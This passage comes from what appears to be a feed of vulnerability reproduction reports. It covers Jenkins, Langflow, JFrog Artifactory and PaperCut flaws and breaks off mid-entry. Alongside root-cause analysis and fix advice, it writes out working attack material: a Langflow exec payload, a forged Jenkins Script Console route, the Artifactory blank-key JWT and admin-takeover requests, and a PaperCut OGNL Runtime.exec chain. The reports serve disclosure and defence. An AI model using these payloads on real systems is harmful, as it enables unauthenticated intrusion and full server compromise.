deserialized `PersistenceRoot` instances must not occur as ordinary nested field values. Consequently, a class could be allowed by identity yet unsafe in its graph position. The exploit uses only Jenkins core types: 1. `hudson.triggers.SCMTrigger$BuildAction` is inserted into the carrier job's persistent `actions` list. It exposes the Stapler URL name `pollingLog` and a public `getRun()` accessor. 2. Its private `run` field is deserialized as a nested `hudson.model.FreeStyleBuild` (a `PersistenceRoot`). 3. The build's `project` field is deserialized as a nested `hudson.model.FreeStyleProject` (also a `PersistenceRoot`). 4. The nested project's `parent` field is deserialized as a second `hudson.model.Hudson`/`jenkins.model.Jenkins` singleton object (also a `PersistenceRoot`). 5. That forged root object carries `hudson.security.AuthorizationStrategy$Unsecured`, so `Hudson#doScriptText` calls `Jenkins._doScript(..., getACL())` with an ACL that allows `ADMINISTER`. 6. Stapler reflectively traverses `/job/carrier/pollingLog/run/project/parent/scriptText` and invokes the forged object's Script Console endpoint, despite the authenticated principal lacking real Jenkins `ADMINISTER` permission. The primary fixing commit is [`0d731367e08656f8cd1e8275f0e820f97af07fc6`](https://github.com/jenkinsci/jenkins/commit/0d731367e08656f8cd1e8275f0e820f97af07fc6) (`[SECURITY-3972]`), which is present in tag `jenkins-2.580` and absent from `jenkins-2.579`. It adds a `PersistenceRoot` check in `RobustReflectionConverter` and throws `CriticalXStreamException` for unsafe nested instances, with narrow exceptions for references, replacement placeholders, and registered single-value converters. It also adds a second-Jenkins-instance guard and safe replacer logic in `Jenkins`. Related hardening annotations in the 2.580 release prevent unsafe transient-field reconstruction. In the fixed runtime, the same `config.xml` POST completes but serializing the job back shows only ``; the forbidden nested Run/Job/Hudson graph is absent. The forged route returns HTTP 404 and no marker is created. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. `PRUVA_ROOT` may optionally identify the bundle root. 2. The script reads `bundle/project_cache_context.json`, reuses the prepared cache when available, and otherwise uses bundle-owned fallback paths. 3. It downloads three pinned plugin dependencies only when absent and verifies their SHA-256 values: Matrix Authorization Strategy 3.3, Ionicons API `94.vcc3065403257`, and commons-lang3 API `3.18.0-98.v3a_674c06072d`. 4. It pulls Jenkins by immutable image digest: vulnerable 2.579 (`sha256:a7342867…d7412be`) and fixed 2.580 (`sha256:0e50a5b1…0839b1`). 5. For each of two vulnerable and two fixed clean controller processes, it provisions `admin` and a low-privilege `attacker`, creates the `carrier` freestyle job, verifies that direct Script Console access returns 403, submits the crafted XML over authenticated HTTP, and posts unique Groovy to the forged route. 6. Vulnerable success requires HTTP 200, the unique marker in both the HTTP response and controller-local marker file, and `uid=1000(jenkins)` output. Fixed success requires a non-success forged-route status, marker absence, and absence of the nested graph from the resulting job XML. 7. The script finalizes controller logs, writes `bundle/repro/runtime_manifest.json` with SHA-256 bindings for all immutable proof artifacts, prints `CONFIRMED`, and exits 0 only if every assertion passes. Expected terminal output: ```text CONFIRMED: SECURITY-3972 achieved authenticated remote command execution on two Jenkins 2.579 controllers; two Jenkins 2.580 controls failed closed. ``` ## Evidence Primary current-run evidence is under `bundle/repro/proof/`, and every file is bound in `bundle/repro/runtime_manifest.json`: - `vulnerable_1.route.response.body` and `vulnerable_2.route.response.body` contain unique markers and controller command output. Latest run excerpts: ```text Result: {marker=CVE_2026_84645_vulnerable_1_12521_12184, id=uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)} Result: {marker=CVE_2026_84645_vulnerable_2_12521_18651, id=uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)} ``` - `vulnerable_1.marker.txt` and `vulnerable_2.marker.txt` are controller-local command markers whose bytes match the per-process values in `vulnerable_1.capability_observation.json` and `vulnerable_2.capability_observation.json`. - `vulnerable_{1,2}.direct_console.headers` begin with `HTTP/1.1 403 Forbidden`, proving the attacker did not already have Script Console access. - `vulnerable_{1,2}.config.request.txt` record the redacted authenticated API request and exact nested graph. - `vulnerable_{1,2}.route.request.txt` record the forged Stapler route and bounded Groovy effect. - `fixed_{1,2}.route.response.headers` begin with `HTTP/1.1 404 Not Found`. - `fixed_{1,2}.marker_absent.txt` and `fixed_{1,2}.negative_control.json` record that the corresponding unique marker was not created after the same procedure reached the fixed target. - `fixed_{1,2}.config.after.xml` contain the empty `SCMTrigger_-BuildAction` and no nested `FreeStyleBuild`. - `target_identity.txt` records the immutable image digests/image IDs, source tag commits, platform, and architecture. - `vulnerable_{1,2}.service.log` and `fixed_{1,2}.service.log` show real Jenkins 2.579/2.580 startup and production service initialization. - `bundle/logs/reproduction_steps.log` and `bundle/logs/reproduction_steps_second.log` show two consecutive successful executions of the final script. Environment identity: - Vulnerable source tag commit: `9095ea3a5c5e7dcd392695a5dd880af1c9910ddf` (`jenkins-2.579`). - Fixed source tag commit: `497de4961ad80d97e26bfdeb0d2e40442a84ecb0` (`jenkins-2.580`). - Vulnerable image digest: `sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be`. - Fixed image digest: `sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1`. - Runtime platform: Linux x86-64/amd64, Docker, Jenkins bundled JVM 21. - Sanitizers: None. ## Recommendations / Next Steps - Upgrade Jenkins weekly to 2.580 or later, or Jenkins LTS to 2.568.3 or later. - Preserve the fixed `PersistenceRoot` structural check and its safe-reference exceptions; do not rely on class allowlisting alone for objects with graph-position invariants. - Retain the second-singleton guard in `Jenkins#readResolve` as defense in depth. - Review plugin-defined `PersistenceRoot` implementations and plugin actions that expose routable accessors to root objects. - Add regression tests for all configuration-accepting endpoints, including jobs, nodes, builds, users, views, and plugin-defined XML documents. Tests should verify both deserialization rejection/neutralization and that Stapler cannot traverse any partially retained graph. - Independently test safe back-references, `writeReplace`/`readResolve` placeholders, and single-value converters to avoid compatibility regressions without weakening the structural policy. ## Additional Notes - **Idempotency:** Confirmed. The final `bundle/repro/reproduction_steps.sh` passed twice consecutively. Each execution created two new vulnerable and two new fixed Jenkins controller processes with unique container IDs and markers. - **Privileges:** The `attacker` account has only Overall/Read, Item/Read, and Item/Configure. A direct `/scriptText` request is a mandatory 403 negative precondition in all four attempts. - **Safety:** The only command effects are a uniquely named file under the ephemeral controller's `/tmp` and `id`; all test containers are removed on completion or interruption. - **Fixed behavior nuance:** The 2.580 endpoint returned HTTP 200 for the configuration update while omitting the prohibited nested values. Security parity is established by the non-routable graph, HTTP 404 forged route, and marker absence rather than by requiring the initial XML POST itself to return an error. - **Network dependency:** A cold run needs access to the pinned Jenkins images and plugin URLs. A warm prepared cache reuses exact plugin bytes, and Docker reuses digest-addressed images. ### Reproduction - Reproduced: 2026-09-03T17:02:18.865Z - Duration: 2645s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00343 # or: pruva-verify CVE-2026-84645 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00343 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00343/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00343 ================================================================================ ## REPRO-2026-00342: Langflow contains an unauthenticated remote code execution vulnerability in the validate endpoint that can lead to arbitrary Python code execution as root. -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00342 - CVE: CVE-2026-0768 (https://nvd.nist.gov/vuln/detail/CVE-2026-0768) ### Package Information - Name: langflow-ai/langflow - Ecosystem: PyPI - Affected: Endpoint fully unauthenticated in langflow <= 1.2.x; exec(code_obj) of user code persists through >= 1.8.0-rc. NO COMPLETE FIX EXISTS. - Fixed: unknown - Severity: critical - CVSS: 9.8 / 10 - CWE: CWE-94 (Improper Control of Generation of Code ('Code Injection')) ### Root Cause # RCA Report — CVE-2026-0768 (Langflow unauthenticated RCE via /api/v1/validate/code) ## Summary Langflow (<= 1.2.x, and partially thereafter) exposes `POST /api/v1/validate/code` without authentication. The endpoint calls `validate_code()` in `src/backend/base/langflow/utils/validate.py`, which `ast.parse()`s the attacker-supplied `code` field and then **`exec()`s each top-level `FunctionDef` node** after compiling it. Python evaluates default-argument expressions and decorators **at function-definition time**, so a function body that never runs still executes arbitrary expressions embedded in its default arguments or decorators. The endpoint's exception handler returns the resulting error text in the HTTP response (`detail.function.errors[0]`), giving a built-in exfiltration channel for command output — a fully non-blind, unauthenticated remote code execution. ## Impact - **Package/component:** `langflow` (`langflow.utils.validate.validate_code`, reached from the `/api/v1/validate/code` FastAPI route). - **Affected versions:** Unauthenticated on langflow <= 1.2.x (verified on the official image `v1.1.1`). Version 1.3.0 (commit `faac4db`, PR #6911) added `get_current_active_user` auth to the route only — `exec(code_obj)` of user code survives, and `LANGFLOW_AUTO_LOGIN=true` (the default) auto-authenticates requests, so default 1.3.0+ deployments remain effectively unauthenticated. Any authenticated user retains RCE on 1.3.0+. No complete fix exists as of the disclosed range (survives through >= 1.8.0-rc per advisory). - **Risk level:** Critical (CVSS 9.8, CWE-94, ZDI-26-034 / ZDI-CAN-27322). Sibling CVE-2025-3248 (same endpoint, same root cause) is in CISA KEV. ## Impact Parity - **Disclosed/claimed maximum impact:** Unauthenticated arbitrary Python code execution in the Langflow server process (advisory says "as root"; in the official container image the process runs as `uid=1000(user) gid=0(root)`, i.e. full container compromise). - **Reproduced impact from this run:** **Full parity — unauthenticated remote command execution.** Two independent fresh Langflow 1.1.1 containers executed attacker-selected shell commands (`id`) via the default-argument `exec()` vector; output `uid=1000(user) gid=0(root) groups=0(root)` was exfiltrated in the HTTP response JSON at `detail.function.errors[0]`; each instance also wrote a unique marker file inside the container filesystem via the executed command (`marker_output` evidence). A decorator-based vector (`@exec(...)`) triggered the identical sink, proving payload-shape agnosticism. - **Parity:** `full`. - **Not demonstrated:** Nothing of the claimed impact is missing. (Note: the advisory's "as root" phrasing maps to `gid=0(root)` container execution observed here; the server process itself runs as uid 1000 in the official image.) ## Root Cause 1. The route `POST /api/v1/validate/code` (langflow <= 1.2.x) has no authentication dependency. 2. `validate_code()` runs `ast.parse(code)`, then for each top-level `FunctionDef` node: `code_obj = compile(ast.Module(body=[node], type_ignores=[]), '', 'exec'); exec(code_obj)` — deliberately executing user code to "validate" it. 3. Python evaluates **default-argument expressions and decorator expressions when the `def` statement executes**, not when the function is called. An attacker embeds `exec('raise Exception(__import__("subprocess").check_output("id", shell=True))')` in a default argument; it runs during `exec(code_obj)` inside the server process. 4. The raised `Exception` text (containing the command output) is captured by the endpoint's error handling and returned to the attacker in `detail.function.errors[0]` — a response-side exfiltration channel making the RCE non-blind. 5. **Partial fix:** langflow 1.3.0 (commit `faac4db`, PR #6911) added `get_current_active_user` to the route. Because `LANGFLOW_AUTO_LOGIN=true` is the default, requests are auto-authenticated and the same payload still executes on default 1.3.0 deployments (verified in this run). With `LANGFLOW_AUTO_LOGIN=false`, the same request is rejected with HTTP 403 `An API key must be passed as query or header` and no code executes. ## Reproduction Steps 1. Script: `bundle/repro/reproduction_steps.sh` (self-contained; run with `bash bundle/repro/reproduction_steps.sh`). Two consecutive successful runs confirmed idempotency (exit 0 both times). 2. What it does: - Pulls digest-pinned official images: vulnerable `langflowai/langflow@sha256:b56d4cfe...` (v1.1.1) and fixed `langflowai/langflow@sha256:8c124064...` (1.3.0). - Starts four fresh containers: two vulnerable (`LANGFLOW_AUTO_LOGIN=true`), one fixed with `LANGFLOW_AUTO_LOGIN=false` (auth enforced), one fixed with defaults (auto-login). - Waits for `GET /health` == `{"status":"ok"}` on each. - **Vulnerable attempts (x2):** sends the exact contract payload `{"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}`; asserts HTTP 200 and `uid=` in `detail.function.errors[0]`. - **Marker-backed execution (x2 fresh instances):** payload writes a unique marker file to `/tmp/pruva_marker.txt` inside each container via the executed command; asserts marker bytes match and `uid=` is exfiltrated. - **Decorator variant:** `@exec(...)` payload; asserts command output in `function.errors[0]`. - **Fixed negative control (x2):** same payloads against auth-enforced 1.3.0; asserts 401/403, no `uid=`, and no marker file created in the container. - **Partial-fix documentation (control B):** same payload against default 1.3.0 (auto-login); observes it still executes (expected partial-fix behavior, not a reproduction failure). - Writes `bundle/repro/runtime_manifest.json` with target identity (image digests) and SHA-256 of all proof artifacts; cleans up containers. 3. Expected evidence: HTTP 200 responses containing `b'uid=1000(user) gid=0(root) groups=0(root)\n'` at `detail.function.errors[0]`, marker files with exact attacker-chosen bytes, and 403 rejection on the auth-enforced fixed build. ## Evidence All artifacts under `bundle/` (paths relative to bundle root), SHA-256 map in `bundle/repro/runtime_manifest.json`: - `logs/reproduction_steps.log` — full run transcript (diagnostic). - `logs/repro/image_identity.txt` — immutable image digests/arch used. - `logs/repro/containers.txt` — live container listing. - `logs/repro/attempts/vuln_attempt_{1,2}_{request,response}.txt` — primary payload and responses: `{"imports":{"errors":[]},"function":{"errors":["b'uid=1000(user) gid=0(root) groups=0(root)\n'"]}}` - `logs/repro/attempts/vuln_marker_{a,b}_{request,response}.txt`, `vuln_{a,b}_marker.txt` — marker-backed command execution on two fresh instances (markers `PRUVA-CMDEXEC-1788272103-6040-A` / `-B`, exact bytes verified). - `logs/repro/attempts/vuln_variant_decorator_{request,response}.txt` — decorator vector output `b'1000\n'` (`id -u`). - `logs/repro/attempts/fixed_attempt_{1,2}_{request,response}.txt`, `negative_control_observation.json` — 403 `{"detail":"An API key must be passed as query or header"}`, marker absent. - `logs/repro/attempts/fixed_auto_attempt_1_{request,response}.txt` — 1.3.0 default deployment still executes (partial fix). **Environment:** Docker (overlay2) on linux/x86_64; official images `langflowai/langflow` v1.1.1 (digest `sha256:b56d4cfe18284e9fb2f1ec2d1bc9a29107a8c893397543e4937a55cda0136cd3`) and 1.3.0 (digest `sha256:8c124064a4410ceff7a7ffbee3aec393e3b9fb2e3e43a163b537074143a38ca5`); no sanitizers or instrumentation; plain HTTP via curl. **Exploit knowledge records (current run):** primitive `9199a628-4fa2-4c50-9517-54e12e959e07` (control_flow_influence — full attacker control of executed Python via the validate_code exec sink) and derived capability `c216aee7-41df-4f5f-b157-9fc7518764cf` (command_execution, generic_runtime attestation, two marker-backed process samples + negative control). ⚠️ Record `2a7dbd1c-4e51-4243-87b6-0e8bfb97fe28` in `bundle/repro/exploit_knowledge.json` was an accidental placeholder submission ("address_disclosure", title "Placeholder") and is **invalid — no address disclosure was observed in this run**; it must be ignored by downstream stages and is not part of any composition. ## Recommendations / Next Steps - **Fix:** stop `exec()`ing user-supplied code during validation. Validate with `ast.parse` + a strict allowlist walk over the AST (rejecting `exec`/`eval`/`__import__`/dunder attribute access anywhere in the tree — defaults, decorators, lambdas, comprehensions — not just function bodies), or run validation in a sandboxed subprocess with no network/fs and resource limits. Auth alone is not a fix. - **Upgrade guidance:** no complete fix exists in the disclosed range; 1.3.0+ only adds route auth, defeated by default `LANGFLOW_AUTO_LOGIN=true`. Set `LANGFLOW_AUTO_LOGIN=false` + API-key auth to at least force authentication, and restrict `/api/v1/validate/code` at the reverse proxy/WAF. - **Detection:** requests to `/api/v1/validate/code` whose body contains default-arg/decorator `exec(`/`eval(`/`__import__(`/`subprocess` patterns; EDR: Langflow python worker spawning shell children. ## Additional Notes - **Idempotency:** the script removes prior containers, reclaims ports 27860–27863, rewrites attempt files, and passed two consecutive clean runs (exit 0, all checks green each time). - **Limitations:** host ports are fixed (27860–27863) and must be free; the script checks and fails fast if occupied. First execution on a cold Docker cache pulls ~2 images (several minutes); subsequent runs reuse them. The 1.3.0 "fixed" image is a partial-fix control (route auth added), matching the advisory's affected/fix state — the exec sink itself remains exploitable post-auth, which is exactly what control B documents and what the vuln_variant stage can explore further. - Marker evidence files were extracted with `docker exec cat` (not `docker cp`) to preserve worker file ownership in the bundle. ### Reproduction - Reproduced: 2026-09-02T03:58:13.831Z - Duration: 3788s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00342 # or: pruva-verify CVE-2026-0768 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00342 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00342/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00342 ================================================================================ ## REPRO-2026-00341: JFrog Artifactory critical unauthenticated authentication bypass leading to administrative takeover -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00341 - CVE: CVE-2026-82329 (https://nvd.nist.gov/vuln/detail/CVE-2026-82329) ### Package Information - Name: JFrog Artifactory - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-287 Improper Authentication (Improper Authentication) ### Root Cause # Root Cause Analysis — CVE-2026-82329: JFrog Artifactory Unauthenticated Authentication Bypass (Blank Join Key → Cluster-Join Service Admin Token) ## Summary JFrog Artifactory's Access service, in default configuration, registered a **blank (empty-string) join key** in its "additional join keys" verification cache. Join keys are the HMAC secrets used to authenticate cluster-join requests at the **unauthenticated** endpoint `POST /access/api/v1/registry/join`. Because `JoinKeyUtils.getSigningKey("")` pkcs7-pads the empty key to the constant `32 × 0x20`, every vulnerable instance accepts a join JWT signed with an attacker-known key. A successful join returns a **never-expiring service admin token** (`scope: "admin"`) for an attacker-chosen service id, which is then usable to dump users, reset the built-in administrator's password, and mint platform-wide admin user tokens — full administrative takeover starting from **zero valid credentials**. Fixed in 7.146.38 (and corresponding branches) by rejecting blank join keys. ## Impact - **Component**: JFrog Access service bundled with self-hosted JFrog Artifactory (verified on `artifactory-jcr` 7.146.25; internal Access 7.176.x). - **Affected versions** (vendor advisory): 7.111.4–7.111.20, 7.117.0–7.117.27, 7.125.0–7.125.19, 7.133.0–7.133.28, 7.146.0–7.146.36, 7.161.0–7.161.19. Fixed: 7.111.21 / 7.117.28 / 7.125.20 / 7.133.29 / 7.146.38 / 7.161.20. - **Risk**: CVSS 9.8 Critical (AV:N/AC:L/PR:N/UI:N). Any unauthenticated network attacker can obtain administrative control of the platform (user management, admin credential reset, admin token issuance), leading to full compromise of hosted artifacts and CI/CD supply chain. ## Impact Parity - **Disclosed/claimed maximum impact**: unauthenticated authentication bypass → administrative takeover (`authz_bypass`, CVSS C:H/I:H/A:H). - **Reproduced impact in this run**: identical — zero-credential admin takeover demonstrated end-to-end against the real product: 1. `POST /access/api/v1/registry/join` with a JWT signed with HMAC-SHA256 key `20*32` → **HTTP 201**, service admin token (`sub=jfrt@cve202682329poc…, scp=admin`). 2. `GET /access/api/v1/users` with that token → **HTTP 200**, full user list (including admin record). 3. `PUT /access/api/v1/users/admin` → **HTTP 200**, built-in admin password reset to an attacker-chosen value (account takeover). 4. `POST /access/api/v1/tokens {"username":"admin","scope":"applied-permissions/admin"}` → **HTTP 200**, admin user token (`sub=jfac@…/users/admin, scp=applied-permissions/admin, aud=*@*`). 5. `GET /artifactory/api/system/info` (admin-only) with that token → **HTTP 200** with full system internals. - **Parity: full.** No step used any pre-existing credential, account, or token; the chain starts from a raw unauthenticated HTTP request. ## Root Cause The fix was isolated by binary-diffing `artifactory-jcr:7.146.36` (last vulnerable) against `artifactory-jcr:7.146.38` (fixed). The **entire** payload difference is the Access service (7.176.27 → 7.176.28), and within it exactly two security-relevant classes changed (the rest are manifests/UI bundles): 1. `org/jfrog/access/server/startup/JoinKeyAccess.class` — `tryResolveJoinKeys()`: ```diff - Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> { + Arrays.stream(joinKey.get().split(",")).map(String::trim).filter(Strings::isNotBlank).forEach(jKey -> { ``` 2. `org/jfrog/access/token/JoinKeyHashPair.class` — constructor: ```diff + if (joinKey == null || joinKey.isBlank()) { + throw new IllegalArgumentException("Join key must not be null or blank"); + } ``` Why the bug fires in **default configuration**: - `JoinKeyAccess.tryResolveJoinKeys()` resolves `shared.security.additionalJoinKeys`. When unset (default), `resolveJoinKeys()` returns `""` wrapped in a vavr `Try`. The guard `if (!joinKey.isEmpty())` calls **`Try.isEmpty()`**, which tests for failure/null — **not** string emptiness — so the empty default proceeds to `"".split(",")` → `[""]`, and a `JoinKeyHashPair("")` (blank join key) is registered in the additional-join-keys map under `kid = sha256("") = e3b0c442…b855`. - `JoinKeyUtils.getSigningKey("")` → `hexDecodeAndPad("", 32)` → pkcs7-pads to the constant 32-byte key `0x20 0x20 … 0x20` — **publicly derivable, identical on every default installation**. - The unauthenticated `RegistryNoAuthResource.join` (`POST /access/api/v1/registry/join`) → `JoinServiceImpl.getValidatedJwtToken()` → `getJoinKey(jwt)` → `joinKeyAccess.getTokenSignatureVerifiers(kid)`: with no `kid` claim it tries the main join key **plus every additional join key** (including the blank one); with `kid=e3b0c442…` it selects the blank key directly. An HS256 JWT signed with `32 × 0x20` therefore verifies. - On verification, `ServiceTokenProviderImpl.getToken(serviceId)` issues `TokenSpec … .scope("admin") .expiresIn(0)` via `createInternalTokenWithoutAuthAndNotify` — a platform-trusted, never-expiring **service admin token** for the attacker-chosen `service_id` claim. So one unauthenticated POST yields admin-level identity; trivial follow-ups (`PUT /access/api/v1/users/admin`, `POST /access/api/v1/tokens`) convert it into full administrative takeover of Artifactory. - Fix: JFrog advisory (CVE-2026-82329, published 2026-08-28). Patch is the two-class change above (blank-key rejection), present in Access 7.176.28 / Artifactory 7.146.38. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; requires Docker, curl, python3). 2. The script: - Pulls `releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25` (vulnerable), `:7.146.38` (fixed), and `postgres:16-alpine` (7.146.x refuses to start on the legacy embedded Derby DB). - Boots each Artifactory with a default-config `system.yaml` (external PostgreSQL only; **no** join key / additional join keys configured) plus a generated `master.key`, using `docker create` + `docker cp` + `docker start` (single-file bind mounts break JFrog's atomic `system.yaml` rewrite). - Runs `bundle/repro/exploit_join_bypass.py` against each instance: blank-key JWT join, Access admin operations, admin password reset, admin token mint, admin-only Artifactory API call, plus built-in controls (anonymous token mint must 401; wrong-signature join must 400). - Writes per-run evidence JSON, image IDs, version files, and `runtime_manifest.json`. 3. Expected evidence: vulnerable instance → join HTTP 201 with `scp=admin` token, admin takeover steps all 200, exploit JSON `"exploited": true`, script exit 0; fixed instance → join HTTP 400 (`JWT's signature does not match the server's join key`), `"exploited": false`. ## Evidence - `bundle/artifacts/http/vuln_exploit.json` — full request/response transcript of the successful exploit against 7.146.25 (join 201 + `scp=admin` token claims; users dump 200; admin password reset 200; admin user token claims `sub=jfac@…/users/admin, scp=applied-permissions/admin`; `/artifactory/api/system/info` 200; anonymous controls 401; wrong-signature join 400). - `bundle/artifacts/http/fixed_exploit.json` — identical attack against 7.146.38 rejected at the join step (HTTP 400, `"exploited": false`). - `bundle/artifacts/diff/JoinKeyAccess.diff`, `bundle/artifacts/diff/JoinKeyHashPair.diff` (+ full decompiled classes) — the two-class security patch between 7.146.36 and 7.146.38. - `bundle/logs/reproduction_steps.log` — orchestration log; `bundle/logs/art-{vuln,fixed}-docker.log`, `art-{vuln,fixed}-access-join.log` — service-side logs. - `bundle/artifacts/vuln_image_id.txt` / `fixed_image_id.txt`, `vuln_version.txt` / `fixed_version.txt` — tested target identity. - Environment: Docker (rootless), postgres:16-alpine sidecar, `artifactory-jcr:7.146.25` (Access 7.176.15) vs `artifactory-jcr:7.146.38` (Access 7.176.28), linux x86_64. ## Recommendations / Next Steps - **Upgrade** self-hosted Artifactory to 7.111.21 / 7.117.28 / 7.125.20 / 7.133.29 / 7.146.38 / 7.161.20 or later (per branch). - Interim mitigation: restrict network access to the Access/router endpoints (`/access/api/v1/registry/*`) to trusted networks; audit `access_nodes`/`access_audit` for unexpected service registrations and tokens (`scp=admin` with unknown `jfrt@…` subjects), and rotate the join key, master key, and the admin password after upgrading. - Fix approach (already shipped): reject null/blank join keys in `JoinKeyHashPair` and filter blank entries when parsing `additionalJoinKeys`. Additionally consider requiring a `kid` and binding join tokens to `node_id`/topology registration, and rate-limiting/auditing the no-auth join endpoint. - Testing: regression test that a default install has **no** additional join keys (`/access/api/v1/system/security/join_key` children) and that `registry/join` rejects empty-key HMAC JWTs. ## Additional Notes - Idempotency: the script tears down and recreates all containers/network each run and was executed twice consecutively with identical results (vulnerable exploited, fixed blocked). Each run generates fresh master keys, databases, node ids, and attacker service ids. - Limitations: verification used the JCR (Container Registry) image; repository-management REST (`/api/repositories`) is Pro-gated in JCR, so admin takeover was demonstrated via Access admin APIs + admin token mint + the admin-only `/artifactory/api/system/info` endpoint instead of repository creation. The vulnerable code lives in the shared Access service, so Pro/ProX distributions are equally affected. - The 30-second `iat` freshness check on join tokens (`MAX_REQUEST_AGE_IN_SECONDS`) is honored by minting the JWT at exploit time. ### Reproduction - Reproduced: 2026-09-01T13:05:52.523Z - Duration: 8715s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00341 # or: pruva-verify CVE-2026-82329 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00341 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00341/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00341 ================================================================================ ## REPRO-2026-00340: PaperCut NG/MF CVE-2026-81578 + CVE-2026-82078 unauthenticated RCE chain -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00340 - CVE: CVE-2026-81578 (https://nvd.nist.gov/vuln/detail/CVE-2026-81578) ### Package Information - Name: PaperCut NG/MF - Ecosystem: vendor - Affected: 25.0.11 build 75758 (tested) - Fixed: 25.0.12 build 76510 (Emergency Patch Release 2) - Severity: critical - CVSS: 9.4 / 10 - CWE: CWE-284 ### Root Cause # Root Cause Analysis — PaperCut NG/MF 25.0.11 unauthenticated remote code execution (27 Aug 2026 advisory) ## Summary Stock PaperCut NG/MF 25.0.11 (build 75758) allows a fully unauthenticated remote attacker to execute operating-system commands as the PaperCut application-service account (`papercut`). The chain combines two defects reachable through the pre-authentication application surface of the running Application Server: 1. **Tapestry 3 "complex" direct-service authorization bypass.** Tapestry's `DirectService` accepts `service=direct/1///`. It calls `validate()` (which fires PaperCut's `BasePaperCutPage.pageValidate` access-rights check) **only on the render page**, then triggers the listener on the *component page* without validating it. Using the public login page as render page (`Home`) and a privileged page as component page (`ConfigEditor`) yields unauthenticated arbitrary configuration writes (`quickFindForm` + `$Form`/`$Form$0` listeners invoke `ConfigManager.setString`). 2. **Unrestricted attacker-controlled SQL in the external Card/ID lookup.** `ExternalUserLookupDb.lookupUserByExternalCardNumber` opens a JDBC connection using the `user-lookup.db-driver` / `user-lookup.db-url` config keys and runs the `user-lookup.id-to-username-sql` template with the submitted card number bound as a parameter. With the bundled Apache Derby embedded driver the template may call `SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE`, giving an attacker-controlled arbitrary file write as the `papercut` user. The lookup is reached **before any login** through the web card/ID login flow (`auth.web-login.card-id.enable`) — `Home.login` → `AuthenticationManagerImpl.authenticateUserWithCard` → `UserManagerImpl.getUserByCardNumber` → `ExternalUserLookupManagerImpl` → `ExternalUserLookupDb`. File write is escalated to in-JVM code execution by planting a new Tapestry page (`WEB-INF/Pwn3.page` declaring `org.apache.tapestry.html.BasePage`, plus `Pwn3.html` containing an OGNL expression binding) into the live Jetty webapp extraction directory (`server/tmp/webapp-/`), then requesting `GET /app?service=page/Pwn3`. Tapestry loads the new page specification from the servlet context on first access and evaluates the OGNL expression (`@java.lang.Runtime@getRuntime().exec(...)`), executing the command in the Application Server JVM. The command's output is written into the webroot and fetched back over plain HTTP — a complete remote command receipt. The emergency 25.0.12 (build 76497) patch blocks the chain at the SQL layer: `ExternalUserLookupDb.createLookupSQLStatement` now rejects templates matching `(?i)\b(CALL|EXEC|EXECUTE)\b|\bSYSCS_[A-Z0-9_]*\b` with `ApplicationException("Unsafe external user lookup SQL blocked.")`. ## Impact - Package/component: PaperCut NG (and MF) Application Server, all 25.0.x <= 25.0.11 (and per the vendor advisory, effectively all supported branches until the emergency builds). - Risk: critical. Unauthenticated remote OS command execution as the PaperCut service account from the web port (9191/9192), including from the internet if exposed. Post-exploitation runs as `pc-app` child processes, matching the vendor's IoCs. ## Impact Parity - Disclosed/claimed maximum impact: unauthenticated remote code execution as the PaperCut application-service account via a pre-auth card/ID entrypoint. - Reproduced impact from this run: exactly that — `uid=1001(papercut) gid=1001(papercut)` command output (`id; uname -a; cat /proc/1/comm`) executed inside the Application Server container and retrieved remotely over HTTP. - Parity: **full**. - Nothing claimed was left undemonstrated. ## Root Cause Two chained defects: 1. `biz/papercut/pcng/web/pages/BasePaperCutPage.pageValidate` (25.0.11) only computes access rights for `this` — the page being validated. Tapestry 3's `DirectService.service()` validates only the *render* page (`cycle.activate(pageName)`) but then calls `componentPage.getNestedComponent (componentPath)` and `direct.trigger(cycle)` on a second page named later in the service path. `POST /app?service=direct/1/Home/ConfigEditor/$Form$0` (and `/quickFindForm`, `/$Form`) therefore fires ConfigEditor's form listeners (`doAddNew`, `doConfigEdit` → `ConfigManager.setString`) with no session at all. The 25.0.12 patch adds a loop over `service.split("/")` accumulating the rights of every embedded page — but note this check still only runs in `BasePaperCutPage.pageValidate`, and `Home` *overrides* `pageValidate` without calling `super`, so the config-write bypass via `direct/1/Home/...` in fact still lands on 25.0.12 (observed at runtime; the RCE chain is nonetheless blocked by the SQL filter below). 2. `biz/papercut/pcng/service/impl/ExternalUserLookupDb` built a `PreparedStatement` directly from the `user-lookup.id-to-username-sql` config value with no statement-type restriction, and opened the connection from config-controlled driver/URL (`DatabaseUtils.openConnection` → `Class.forName` + `DriverManager.getConnection`). Because the whole statement is attacker-controlled and the bundled Derby embedded driver supports `CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE(?, 